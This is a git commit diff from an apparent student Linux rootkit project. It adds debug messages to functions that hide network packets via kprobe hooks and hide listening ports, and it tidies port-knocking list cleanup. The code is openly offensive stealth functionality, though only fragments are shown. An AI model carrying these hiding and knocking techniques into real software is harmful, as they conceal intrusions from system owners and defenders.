linux-rootkit

commit 40cae9d371a3d81fac079086fb815e03df98b907
parent 2b4c6984f3a459b96d8aab26461769380fdba798
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 14:23:12 +0100

fixes issues, adds debug info

Diffstat:
M
src/packhide.c
 | 
3
++-
M
src/porthide.c
 | 
15
+++++++++++----

2 files changed, 13 insertions(+), 5 deletions(-)
diff --git a/src/packhide.c b/src/packhide.c
@@ -49,7 +49,7 @@ void
 hide_packets(void)
 {
     if (atomic_inc_return(&packet_rcv_install_count) == 1) {
-        DEBUG_INFO("HIDING PACKETS %d, %d\n", rootkit.hiding_packets, rootkit.hiding_sockets);
+        DEBUG_INFO("___ HIDING PACKETS %d, %d\n", rootkit.hiding_packets, rootkit.hiding_sockets);
         p_rcv.pre_handler = g7_packet_rcv;
         p_rcv.post_handler = g7_post;
         p_rcv.fault_handler = g7_fault;
@@ -77,6 +77,7 @@ void
 unhide_packets(void)
 {
     if (atomic_dec_return(&getdents_install_count) < 1) {
+        DEBUG_INFO("___ UNHIDING PACKETS %d, %d\n", rootkit.hiding_packets, rootkit.hiding_sockets);
         unregister_kprobe(&p_rcv);
         unregister_kprobe(&tp_rcv);
         unregister_kprobe(&p_rcv_spkt);
diff --git a/src/porthide.c b/src/porthide.c
@@ -55,13 +55,16 @@ lport_list_t_ptr hidden_lports_tail = &hidden_lports;
 void
 hide_lport(lport_t lport)
 {
-    if (!list_contains_lport(&hidden_lports, lport))
+    if (!list_contains_lport(&hidden_lports, lport)) {
+        DEBUG_INFO("hiding lport %d\n", lport);
         add_lport_to_list(hidden_lports_tail, lport);
+    }
 }
 
 void
 unhide_lport(lport_t lport)
 {
+    DEBUG_INFO("unhiding lport %d\n", lport);
     remove_lport_from_list(hidden_lports_tail, lport);
 }
 
@@ -86,7 +89,9 @@ stage3_knock(lport_t port)
 void
 clear_hidden_lports(void)
 {
-    lport_list_t_ptr i;
+    DEBUG_INFO("clearing hidden lports\n");
+
+    knock_list_t_ptr i;
 
     i = ips_stage1_tail;
     while ((i = remove_knock_from_list(i, &i, i->ip, i->version)));
@@ -97,8 +102,10 @@ clear_hidden_lports(void)
     i = ips_stage3_tail;
     while ((i = remove_knock_from_list(i, &i, i->ip, i->version)));
 
-    i = hidden_lports_tail;
-    while ((i = remove_lport_from_list(i, i->lport)));
+    lport_list_t_ptr j;
+
+    j = hidden_lports_tail;
+    while ((j = remove_lport_from_list(j, j->lport)));
 }
 
 bool